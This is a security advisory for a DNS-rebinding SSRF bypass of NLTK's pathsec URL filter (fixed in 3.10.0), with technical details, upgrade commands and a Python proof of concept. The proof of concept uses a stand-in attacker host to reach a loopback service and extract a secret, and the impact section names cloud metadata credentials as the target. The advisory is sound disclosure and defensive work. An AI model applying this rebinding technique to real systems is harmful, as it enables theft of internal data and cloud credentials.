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GHSA-qvv7-cg9c-w4x3 CVE-2026-12075 PYSEC-2026-3583

Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode

High PyPI
Severity
8.6 / 10
High · CVSS 3.1
Exploit chance (EPSS)
—
No score published
Known exploited
No
Not in CISA's catalog
Weakness
CWE-918 Server-Side Request Forgery (SSRF)
Fix
3.10.0
Upgrade nltk to this version or later

Description

Summary

nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.

Details

urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connect → socket.create_connection → socket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:

  1. validate_network_url() calls _resolve_hostname(parsed.hostname) and checks each returned IP against loopback/link-local/multicast/private, blocking under ENFORCE. (Resolution #1.)
  2. urlopen() then calls build_opener(...).open(url) with the original URL (raw hostname), so urllib resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)

_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.

PoC

import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer

warnings.filterwarnings("ignore")

import nltk
import nltk.pathsec as ps

ps.ENFORCE = True  # the documented strict SSRF sandbox

ATTACKER_HOST = "rebind.attacker.test"   # attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34"              # public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"


# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(SECRET)))
        self.end_headers()
        self.wfile.write(SECRET)

    def log_message(self, *a):
        pass


def start_internal_server():
    srv = HTTPServer(("127.0.0.1", 0), _Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv.server_address[1]  # ephemeral port


# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)


def _rebinding_getaddrinfo(host, port, *args, **kwargs):
    if host == ATTACKER_HOST:
        n = _lookups[host]
        _lookups[host] += 1
        ip = PUBLIC_IP if n == 0 else "127.0.0.1"   # 1st=public (validate), then loopback (connect)
        p = port if isinstance(port, int) else 0
        kind = "VALIDATION -> public" if n == 0 else "CONNECT    -> loopback"
        print(f"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
    return _real_getaddrinfo(host, port, *args, **kwargs)


def fetch(url):
    with ps.urlopen(url, timeout=5) as r:
        return r.read()


def main():
    print("=" * 62)
    print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
    print(f" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}")
    print("=" * 62)

    port = start_internal_server()
    print(f"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\n")

    socket.getaddrinfo = _rebinding_getaddrinfo
    ps._resolve_hostname.cache_clear()  # fresh validation cache, as on a real process
    try:
        # ---- Control: a DIRECT loopback URL must be blocked by the filter ----
        print("[1] CONTROL: direct loopback URL (filter must block this)")
        direct = f"http://127.0.0.1:{port}/"
        try:
            fetch(direct)
            print(f"    [?] unexpected: {direct} was NOT blocked\n")
            control_ok = False
        except PermissionError as e:
            print(f"    [OK] blocked -> PermissionError: {e}\n")
            control_ok = True

        # ---- Attack: rebinding hostname bypasses the same filter ----
        print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
        evil = f"http://{ATTACKER_HOST}:{port}/"
        print(f"    fetching {evil}")
        try:
            body = fetch(evil)
            leaked = SECRET in body
            print(f"    body returned to caller: {body!r}")
            if leaked:
                print("\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
                print(f"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1")
                print(f"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
                verdict = "VULNERABLE"
            else:
                print("\n  [?] fetch succeeded but secret marker not present")
                verdict = "INCONCLUSIVE"
        except PermissionError as e:
            # Patched build: validate against the connect-time IP (or pin/resolve-once).
            print(f"\n  [SAFE] blocked -> PermissionError: {e}")
            verdict = "NOT VULNERABLE"
    finally:
        socket.getaddrinfo = _real_getaddrinfo

    print("\n" + "=" * 62)
    print(f" Control (direct loopback blocked): {control_ok}")
    print(f" Result: {verdict}   (ENFORCE = {ps.ENFORCE})")
    print("=" * 62)


if __name__ == "__main__":
    main()

Impact

  • Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g. nltk.data.load with format="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.
  • Bypass of an explicit security control. It defeats the nltk.pathsec SSRF filter, including the ENFORCE mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the lru_cache annotation claiming to mitigate rebinding makes the false assurance worse.

Affected versions

PyPI

PackageVulnerableFixed in
nltk
< 3.10.0
3.10.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nltk PyPI → 3.10.0

pip
pip install --upgrade "nltk>=3.10.0"
poetry
poetry add "nltk>=3.10.0"
uv
uv add "nltk>=3.10.0"

Severity breakdown

CVSS 3.1 8.6

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
AdvisorySeverityWhy it's related
GHSA-j456-xh4h-cpf2
NLTK: WekaClassifier passes an unvalidated caller-controlled model path to the weka JVM, bypassing nltk.pathsec containment
High Also affects nltk
GHSA-ff5c-cp5c-9wjf
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
Medium Also affects nltk
GHSA-f794-5jv7-7672
NLTK: Downloader.download follows hardlinks and overwrites outside-root files
High Also affects nltk
GHSA-8mgp-746c-j5xp
NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots
High Also affects nltk
GHSA-8mpw-7fpc-4gqj
NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks
Low Also affects nltk
GHSA-cw6x-m8jw-qmrh
NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input
Medium Also affects nltk
GHSA-vp2x-qp44-57v7
NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`
Low Also affects nltk
GHSA-ww6m-cw3f-q94g
NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'
High Also affects nltk
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